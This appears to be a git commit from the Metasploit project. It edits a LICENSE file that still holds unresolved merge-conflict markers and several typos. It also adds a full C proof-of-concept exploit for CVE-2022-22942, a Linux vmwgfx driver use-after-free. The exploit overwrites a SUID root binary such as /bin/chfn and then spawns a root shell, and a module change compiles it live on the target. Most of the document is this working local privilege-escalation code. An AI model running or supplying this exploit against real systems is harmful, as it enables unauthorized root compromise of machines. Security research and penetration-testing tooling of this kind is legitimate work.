Update LICENSE file and location of source file

This commit is contained in:
bwatters 2022-12-09 14:29:01 -06:00 committed by h00die
parent e28ff3b160
commit 158c557d58
3 changed files with 627 additions and 1 deletions

25
LICENSE
View File

@ -238,11 +238,36 @@ Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
paravirtualized VM. It contains a short code section licensed through
GPL.
<<<<<<< HEAD
Files: tools/exploit/metasm_shell.rb
Copyright: 2007, Yoann GUILLOT
License: LGPL
Purpose: Allows users to invoke an interactive metasm shell to get opcodes from
assembly instructions.
=======
Files: data/jtr/*
Copyright: Copyright 1996-2013 by Solar Designer
License: GNU GPL 2.0
Files: external/source/exploits/CVE-2022-22942/cve-2022-22942-dc.c
Copyright: 2022 Open Source Security, Inc.
License: GNU GPL 2.0
Purpose: This source file is necessary for users to create a stand-alone executable
to exploit CVE-2022-22942, a local privilege escalation vulnerability in Linuc Kernels
Linux kernel 4.14-rc1 - 5.17-rc1.
Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*
Copyright: 2011 Jon Bringhurst
License: GNU GPL 2.0
Files: external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/*
Copyright: 2020 Johnny Shaw
License: MIT
Files: exteneral/source/exploits/CVE-2022-26904/*
Copywrite: 2022 Abdelhamid Naceri
License: MIT
>>>>>>> 3dde5cd511 (Update LICENSE file and location of source file)
License: BSD-2-clause
Redistribution and use in source and binary forms, with or without modification,

View File

@ -0,0 +1,601 @@
/* The vmwgfx driver has a similar bug as the one we fixed last year in the
* nitro enclaves code (https://git.kernel.org/linus/f1ce3986baa6
* "nitro_enclaves: Fix stale file descriptors on failed usercopy").
*
* If the driver fails to copy the 'fence_rep' object to userland, it tries to
* recover by deallocating the (already populated) file descriptor. This is
* wrong, as the fd gets released via put_unused_fd() which shouldn't be used,
* as the fd table slot was already populated via the previous call to
* fd_install(). This leaves userland with a valid fd table entry pointing to
* a free'd 'file' object.
*
* There are multiple ways to exploit this bug. A previous version of this PoC
* dumped the contents of /etc/shadow. This one overwrites a SUID root binary
* to pop a shell.
*
* Compile as:
* $ gcc -O2 cve-2022-22942-dc.c -o cve-2022-22942-dc
*
* Run as (and wait for the root shell to appear):
* $ ./cve-2022-22942-dc [target_file [temp_file [dev_node]]]
*
* Remarks:
*
* This POC assumes it has access to '/dev/dri/card0' which likely means the
* calling user needs to be part of the 'video' group.
*
* Alternatively '/dev/dri/renderD128' can be used (just pass the path as
* argument to ./cve-2022-22942-dc-dc), which, under Debian, means being part
* of the 'render' group.
*
* This bug was fixed by commit a0f90c881570 ("drm/vmwgfx: Fix stale file
* descriptors on failed usercopy"). It affected kernel versions v4.14-rc1 to
* v5.17-rc1.
*
* This is CVE-2022-22942.
*
* (c) 2022 Open Source Security, Inc.
*
* - minipli
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#define _GNU_SOURCE
#include <sys/sysmacros.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdbool.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <err.h>
/* uapi/drm/drm.h */
#define DRM_IOCTL_BASE 'd'
#define DRM_IOW(nr,type) _IOW(DRM_IOCTL_BASE,nr,type)
#define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type)
#define DRM_COMMAND_BASE 0x40
#define DRM_IOCTL_VERSION DRM_IOWR(0x00, struct drm_version)
struct drm_version {
int version_major;
int version_minor;
int version_patchlevel;
size_t name_len;
char *name;
size_t date_len;
char *date;
size_t desc_len;
char *desc;
};
/* uapi/drm/vmwgfx_drm.h */
#define DRM_VMW_EXECBUF 12
#define DRM_VMW_EXECBUF_VERSION 2
#define DRM_VMW_EXECBUF_FLAG_EXPORT_FENCE_FD (1 << 1)
#define DRM_VMW_INVALID_CTX_HNDL (-1)
#define DRM_IOCTL_VMW_EXECBUF \
DRM_IOW(DRM_COMMAND_BASE + DRM_VMW_EXECBUF, struct drm_vmw_execbuf_arg)
struct drm_vmw_execbuf_arg {
uint64_t commands;
uint32_t command_size;
uint32_t throttle_us;
uint64_t fence_rep;
uint32_t version;
uint32_t flags;
uint32_t context_handle;
int32_t imported_fence_fd;
};
#define array_size(x) (sizeof(x)/sizeof*(x))
#define FENCE_REP_PTR 0x42
#define VMWGFX_DRV_NAME "vmwgfx"
#define VMWGFX_DEV "/dev/dri/card0"
#define NULL_DEV "/dev/null"
#define SUID_TARGET "/bin/chfn" // use /bin/chage for RHEL/CentOS
#define TEMP_FILE "/var/tmp/cake"
static char *suid_path = SUID_TARGET;
static char *temp_path = TEMP_FILE;
static char *dev_path = VMWGFX_DEV;
static char stale_fd_path[64];
static const void *prog_addr, *suid_addr;
static size_t prog_size, suid_size;
#define NUM_FILES 32
static int files[NUM_FILES];
static void open_files(const char *path, int flags, mode_t mode, bool temp) {
unsigned int i;
for (i = 0; i < array_size(files); i++) {
files[i] = open(path, flags, mode);
if (files[i] < 0)
err(1, "open('%s', %hx, %hx)", path, flags, mode);
if (temp) {
unlink(path);
if (ftruncate(files[i], prog_size))
err(1, "ftruncate()");
}
}
}
static void close_files(unsigned int except) {
unsigned int i;
for (i = 0; i < array_size(files); i++) {
if ((unsigned int)files[i] == except)
continue;
if (close(files[i]))
err(1, "close(fd=%d)", files[i]);
}
}
static int find_file(ino_t ino) {
struct stat buf;
unsigned int i;
for (i = 0; i < array_size(files); i++) {
if (fstat(files[i], &buf))
err(1, "stat(fd=%d)", files[i]);
if (buf.st_ino == ino)
return files[i];
}
return -1;
}
static bool is_suid(const char *path) {
struct stat buf;
if (stat(path, &buf))
return false;
return buf.st_uid == 0 && (buf.st_mode & 04111) == 04111;
}
static bool pin_cpu(int cpu) {
cpu_set_t cpus;
CPU_ZERO(&cpus);
CPU_SET(cpu, &cpus);
return !!sched_setaffinity(0, sizeof(cpus), &cpus);
}
static void *map_file(const char *path, size_t *len) {
struct stat sb;
void *addr;
size_t i;
int fd;
printf("[~] creating r/o mapping of %s...\n", path);
fd = open(path, O_RDONLY);
if (fd < 0)
err(1, "open(%s)", path);
if (fstat(fd, &sb))
err(1, "stat(%s)", path);
*len = sb.st_size;
addr = mmap(NULL, *len, PROT_READ, MAP_SHARED, fd, 0);
if (addr == MAP_FAILED)
err(1, "mmap(%s)", path);
/* fault in the pages to pre-load the binary */
for (i = 0; i < *len; i += 4096)
*(volatile char *)(addr + i);
close(fd);
return addr;
}
static int get_stale_fd(const char *dev_path) {
static char name[256], date[256], desc[256];
static struct drm_version drm_info = {
.name = name, .name_len = sizeof(name),
.desc = desc, .desc_len = sizeof(desc),
.date = date, .date_len = sizeof(date),
};
static struct drm_vmw_execbuf_arg exec_buf = {
.version = DRM_VMW_EXECBUF_VERSION,
.context_handle = DRM_VMW_INVALID_CTX_HNDL,
.flags = DRM_VMW_EXECBUF_FLAG_EXPORT_FENCE_FD,
.fence_rep = FENCE_REP_PTR,
};
static int vmw_fd = -1;
int fd;
if (vmw_fd < 0) {
printf("[~] vmwgfx setup using %s...\n", dev_path);
vmw_fd = open(dev_path, O_WRONLY);
if (vmw_fd < 0)
err(1, "open(%s)", dev_path);
if (ioctl(vmw_fd, DRM_IOCTL_VERSION, &drm_info) != 0)
err(1, "ioctl(DRM_IOCTL_VERSION) unexpectedly failed");
if (strcmp(drm_info.name, VMWGFX_DRV_NAME) != 0) {
errx(1, "wrong driver, should be '%s' but is '%s'",
VMWGFX_DRV_NAME, drm_info.name);
}
printf("[+] confirmed to be targeting the right driver\n");
}
fd = open(NULL_DEV, O_RDONLY);
if (fd < 0)
err(1, "open(%s)", NULL_DEV);
close(fd);
printf("[~] predicted fence fd = %d\n", fd);
snprintf(stale_fd_path, sizeof(stale_fd_path), "/proc/self/fd/%d", fd);
printf("[~] triggering fence fd export...\n");
if (ioctl(vmw_fd, DRM_IOCTL_VMW_EXECBUF, &exec_buf) != 0)
err(1, "ioctl(DRM_IOCTL_VMW_EXECBUF) unexpectedly failed");
return fd;
}
static bool check_fd(int fd, const char *path, ino_t *ino) {
char buf[1024];
struct stat sb;
ssize_t len;
/* Do non-faulting checks first -- using an invalid address ;) */
errno = 0;
if (write(fd, (void *)~0xdead, 42) >= 0 || errno != EFAULT)
return false;
/* We open the file with exactly these flags */
if ((fcntl(fd, F_GETFL) & O_RDWR) != O_RDWR)
return false;
len = readlink(stale_fd_path, buf, sizeof(buf) - 1);
if (len < 0)
return false;
buf[len] = '\0';
if (strncmp(buf, path, strlen(path)) != 0)
return false;
if (fstat(fd, &sb) != 0)
return false;
*ino = sb.st_ino;
return true;
}
static void __read_pipe(int fd, void *buf, size_t len, const char *what, const char *caller) {
ssize_t cnt;
cnt = read(fd, buf, len);
if (cnt < 0)
err(1, "%s: read(%s)", caller, what);
if (cnt == 0)
errx(2, "%s: read(%s) EOF, other side died?", caller, what);
if ((size_t)cnt != len)
errx(1, "%s: short read(%s): got %zd, want %zu", caller, what, cnt, len);
}
#define read_pipe(p,o) __read_pipe(p[0], &o, sizeof(o), #o, __func__)
static void __write_pipe(int fd, const void *buf, size_t len, const char *what, const char *caller) {
ssize_t cnt;
cnt = write(fd, buf, len);
if (cnt < 0)
err(1, "%s: write(%s)", caller, what);
if (cnt == 0)
errx(2, "%s: write(%s) EOF, other side died?", caller, what);
if ((size_t)cnt != len)
errx(1, "%s: short write(%s): got %zd, want %zu", caller, what, cnt, len);
}
#define write_pipe(p,o) __write_pipe(p[1], &o, sizeof(o), #o, __func__)
static void stale_fd_worker(int pipe[2]) {
bool write_ino = false;
int stale_fd = -1;
char state = '0';
ino_t ino;
do {
switch (state) {
case '0':
stale_fd = get_stale_fd(dev_path);
/* ensure an RCU GP has passed and the file was returned to the cache */
// usleep(150 * 1000);
sleep(1);
printf("[~] RCU GP passed and file object released -- by now or soon!\n");
state++;
break;
case '2':
printf("[~] probing stale fd for a match...\n");
if (check_fd(stale_fd, temp_path, &ino)) {
write_ino = true;
state++;
} else {
state--;
}
break;
case '4':
printf("[~] closing stale fd...\n");
/* This close will drop the reference of the mmap() of stage
* '3' and make its file pointer dangling.
*/
close(stale_fd);
/* ensure an RCU GP has passed and the file was released to the cache */
// usleep(150 * 1000);
sleep(1);
printf("[~] RCU GP passed and file object released again -- hopefully!\n");
state++;
break;
default:
errx(1, "%s: invalid state '%c'", __func__, state);
}
write_pipe(pipe, state);
if (write_ino) {
write_ino = false;
write_pipe(pipe, ino);
}
read_pipe(pipe, state);
} while (state < '6');
printf("[~] %s: done\n", __func__);
exit(memcmp(suid_addr, prog_addr, prog_size));
}
static void mmap_worker(int pipe[2]) {
bool files_open = false;
void *addr = NULL;
sigset_t set;
char state;
ino_t ino;
int fd;
do {
read_pipe(pipe, state);
switch (state) {
case '1':
if (files_open) {
files_open = false;
close_files(-1);
usleep(20 * 1000);
}
printf("[~] opening some r/w files for %s\n", temp_path);
open_files(temp_path, O_RDWR | O_CREAT | O_TRUNC, 0600, true);
files_open = true;
state++;
break;
case '3':
/* found it! */
read_pipe(pipe, ino);
fd = find_file(ino);
if (fd < 0) {
printf("[-] failed to find candidate with ino %#lx, retrying\n", ino);
state = '1';
/* no need to bounce, retry directly */
continue;
}
printf("[+] found match at fd %d\n", fd);
close_files(fd);
printf("[~] creating r/w mapping...\n");
addr = mmap(NULL, prog_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (addr == MAP_FAILED)
err(1, "mmap()");
close(fd);
state++;
break;
case '5':
printf("[~] opening some r/o files for %s\n", suid_path);
open_files(suid_path, O_RDONLY, 0, false);
/* We hope to have reallocated the dangling file once more! */
printf("[*] trying to overwrite code in %s\n", suid_path);
memcpy(addr, prog_addr, prog_size);
//msync(addr, prog_size, MS_SYNC | MS_INVALIDATE);
printf("[~] %s: done\n", __func__);
state++;
break;
default:
errx(1, "%s: invalid state '%c'", __func__, state);
}
write_pipe(pipe, state);
} while (state < '6');
/* The 'addr' mapping is using a dangling file pointer, i.e. one with an
* off-by-one reference count. Terminating the process will thereby lead to
* a warning in the vfs code: "VFS: Close: file count is 0" or worse,
* tripping over DEBUG_LIST checks leading to an Oops.
*
* To avoid these, turn into a ghost, detach from the process hierachy and
* daemonize.
*/
//exit(memcmp(suid_addr, prog_addr, prog_size));
setsid();
close(0);
close(1);
close(2);
close(pipe[0]);
close(pipe[1]);
prctl(PR_SET_NAME, "bogeyman", 0, 0, 0);
sigfillset(&set);
sigprocmask(SIG_BLOCK, &set, NULL);
for (;;)
pause();
}
static void spawn_worker(void) {
int state_fd[2][2];
if (pipe(state_fd[0]) < 0 || pipe(state_fd[1]) < 0)
err(1, "pipe()");
switch (fork()) {
default:
close(state_fd[0][1]);
close(state_fd[1][0]);
stale_fd_worker((int [2]) { state_fd[0][0], state_fd[1][1] });
break;
case 0:
close(state_fd[0][0]);
close(state_fd[1][1]);
mmap_worker((int [2]) { state_fd[1][0], state_fd[0][1] });
break;
case -1:
err(1, "fork()");
}
/* not reached */
exit(1);
}
int main(int argc, char **argv) {
static const char proc_self_exe[] = "/proc/self/exe";
if (!getuid())
errx(1, "ahem...");
if (!geteuid()) {
setuid(0);
setgid(0);
execve("/bin/sh", (char *const []){ "-sh", NULL }, NULL);
err(1, "execve(%s)", SUID_TARGET);
}
if (argc >= 2)
suid_path = argv[1];
if (argc >= 3)
temp_path = argv[2];
if (argc >= 4)
dev_path = argv[3];
if (!is_suid(suid_path))
errx(1, "%s isn't suid root, choose another target", suid_path);
suid_addr = map_file(suid_path, &suid_size);
prog_addr = map_file(proc_self_exe, &prog_size);
if (suid_size < prog_size) {
errx(1, "size of %s too small, need %zuB, but only have %zuB",
suid_path, prog_size, suid_size);
}
/* Ensure all subprocesses share the same SLUB's partial lists */
if (pin_cpu(sched_getcpu()))
err(1, "failed to pin to CPU");
/* Span two subprocesses that lock step a state machine:
* P1: triggers the bug to get a stale fd entry
*
* P2: opens a bunch of r/w temporary files to reallocate the file object
*
* P1: checks if one of the fds reallocated the dangling file pointer and
* signals P2 which
*
* P2: creates a r/w mapping of the fd that matches the reallocated file
* pointer and closes all opened files
*
* P1: uses its stale fd entry to put the file attached to P2's mapping to
* make it dangling again
*
* P2: opens the target file r/o multiple times to reallocate the just
* released file object
* P2: copies this program over the previously created mapping (now
* pointing to the victim file instead of the temporary file)
*
* P1: signals success / failure to the observer by checking if the victim
* file was overwritten
*
* Wait for them to exit / die and check the return status. If it's zero,
* terminate the loop, we're done.
*/
/* Do the dirty work in subprocesses, to not accidentally die along */
printf("[~] spawning helper processes...\n");
switch (fork()) {
case -1: err(1, "fork()");
case 0: spawn_worker();
}
retry: /* Reap all the zombies... */
switch (wait(NULL)) {
case -1:
switch (errno) {
case EINTR: goto retry;
case ECHILD: break;
default: err(1, "wait()");
}
break;
default:
/* continue reaping... */
goto retry;
}
if (memcmp(suid_addr, prog_addr, prog_size))
errx(1, "failed to overwrite %s :(", suid_path);
printf("[$] success, spawning shell...\n");
/* Should be a suid root version of us by now */
execve(suid_path, (char *const []){ suid_path, NULL }, NULL);
err(1, "execve(%s)", suid_path);
return 0;
}

View File

@ -136,7 +136,7 @@ class MetasploitModule < Msf::Exploit::Local
vprint_status 'Live compiling exploit on system...'
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
c_code = exploit_data('CVE-2022-22942', 'cve-2022-22942-dc.c')
c_code = exploit_source('CVE-2022-22942', 'cve-2022-22942-dc.c')
c_code = c_code.gsub('/dev/dri/card0', @driver) # ensure the right driver device is called
c_code = c_code.gsub('/bin/chfn', @suid_target) # ensure we have our suid target
c_code = c_code.gsub('/proc/self/exe', payload_path) # change exe to our payload